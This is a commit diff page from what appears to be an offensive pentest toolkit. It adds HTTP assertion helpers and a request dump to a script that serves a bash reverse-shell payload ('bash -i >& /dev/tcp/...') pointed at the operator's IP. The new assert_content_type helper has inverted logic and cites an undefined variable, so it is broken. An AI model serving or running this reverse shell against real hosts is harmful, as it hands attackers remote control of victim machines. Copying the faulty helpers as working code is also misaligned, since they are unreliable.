assertions
This commit is contained in:
parent
7c6dfb1e4c
commit
7df249ba73
@ -278,6 +278,7 @@ if __name__ == "__main__":
|
|||||||
listenPort = 4444 if len(sys.argv) < 3 else int(sys.argv[2])
|
listenPort = 4444 if len(sys.argv) < 3 else int(sys.argv[2])
|
||||||
rev_shell = "bash -i >& /dev/tcp/%s/%d 0>&1" % (ipAddress, listenPort)
|
rev_shell = "bash -i >& /dev/tcp/%s/%d 0>&1" % (ipAddress, listenPort)
|
||||||
fileServer.addFile("shell.sh", rev_shell)
|
fileServer.addFile("shell.sh", rev_shell)
|
||||||
|
fileServer.dumpRequest("/")
|
||||||
print("Reverse Shell URL: http://%s/shell.sh" % ipAddress)
|
print("Reverse Shell URL: http://%s/shell.sh" % ipAddress)
|
||||||
elif sys.argv[1] == "dump":
|
elif sys.argv[1] == "dump":
|
||||||
fileServer.dumpRequest("/")
|
fileServer.dumpRequest("/")
|
||||||
|
33
util.py
33
util.py
@ -3,6 +3,7 @@
|
|||||||
import random
|
import random
|
||||||
import socket
|
import socket
|
||||||
import netifaces as ni
|
import netifaces as ni
|
||||||
|
import string
|
||||||
import sys
|
import sys
|
||||||
import exif
|
import exif
|
||||||
import os
|
import os
|
||||||
@ -20,7 +21,7 @@ def get_address(interface={"tun0", "vpn0"}):
|
|||||||
available = set(ni.interfaces())
|
available = set(ni.interfaces())
|
||||||
interfaces = list(requested.intersection(available))
|
interfaces = list(requested.intersection(available))
|
||||||
interface = None if not interfaces else interfaces[0]
|
interface = None if not interfaces else interfaces[0]
|
||||||
|
|
||||||
# not found or not specified, take the first available, which is not loopback
|
# not found or not specified, take the first available, which is not loopback
|
||||||
if not interface in ni.interfaces():
|
if not interface in ni.interfaces():
|
||||||
interfaces = ni.interfaces()
|
interfaces = ni.interfaces()
|
||||||
@ -32,6 +33,36 @@ def get_address(interface={"tun0", "vpn0"}):
|
|||||||
addresses = [addr for addr in addresses if not str(addr).startswith("127")]
|
addresses = [addr for addr in addresses if not str(addr).startswith("127")]
|
||||||
return addresses[0]
|
return addresses[0]
|
||||||
|
|
||||||
|
def generate_random_string(length=16, charset=string.printable):
|
||||||
|
chars = random.choices(charset, k=length)
|
||||||
|
return "".join(chars)
|
||||||
|
|
||||||
|
def exit_with_error(res, err):
|
||||||
|
if callable(err):
|
||||||
|
print(err(res))
|
||||||
|
else:
|
||||||
|
print(err)
|
||||||
|
exit()
|
||||||
|
|
||||||
|
def assert_status_code(res, status_code, err=None):
|
||||||
|
if res.status_code != status_code:
|
||||||
|
err = f"[-] Server returned unexpected status code {res.status_code}, expected: {status_code}" if err is None else err
|
||||||
|
exit_with_error(res, err)
|
||||||
|
exit()
|
||||||
|
|
||||||
|
def assert_content_type(res, content_type, err=None):
|
||||||
|
if "Content-Type" in res.headers:
|
||||||
|
return
|
||||||
|
content_type_header = res.headers["Content-Type"].lower()
|
||||||
|
if content_type_header == content_type.lower():
|
||||||
|
return
|
||||||
|
if content_type_header.lower().startswith(content_type.lower() + ";"):
|
||||||
|
return
|
||||||
|
|
||||||
|
err = f"[-] Server returned unexpected status code {res.status_code}, expected: {status_code}" if err is None else err
|
||||||
|
exit_with_error(res, err)
|
||||||
|
exit()
|
||||||
|
|
||||||
def openServer(address, ports=None):
|
def openServer(address, ports=None):
|
||||||
listenPort = None
|
listenPort = None
|
||||||
retry = True
|
retry = True
|
||||||
|
Loading…
Reference in New Issue
Block a user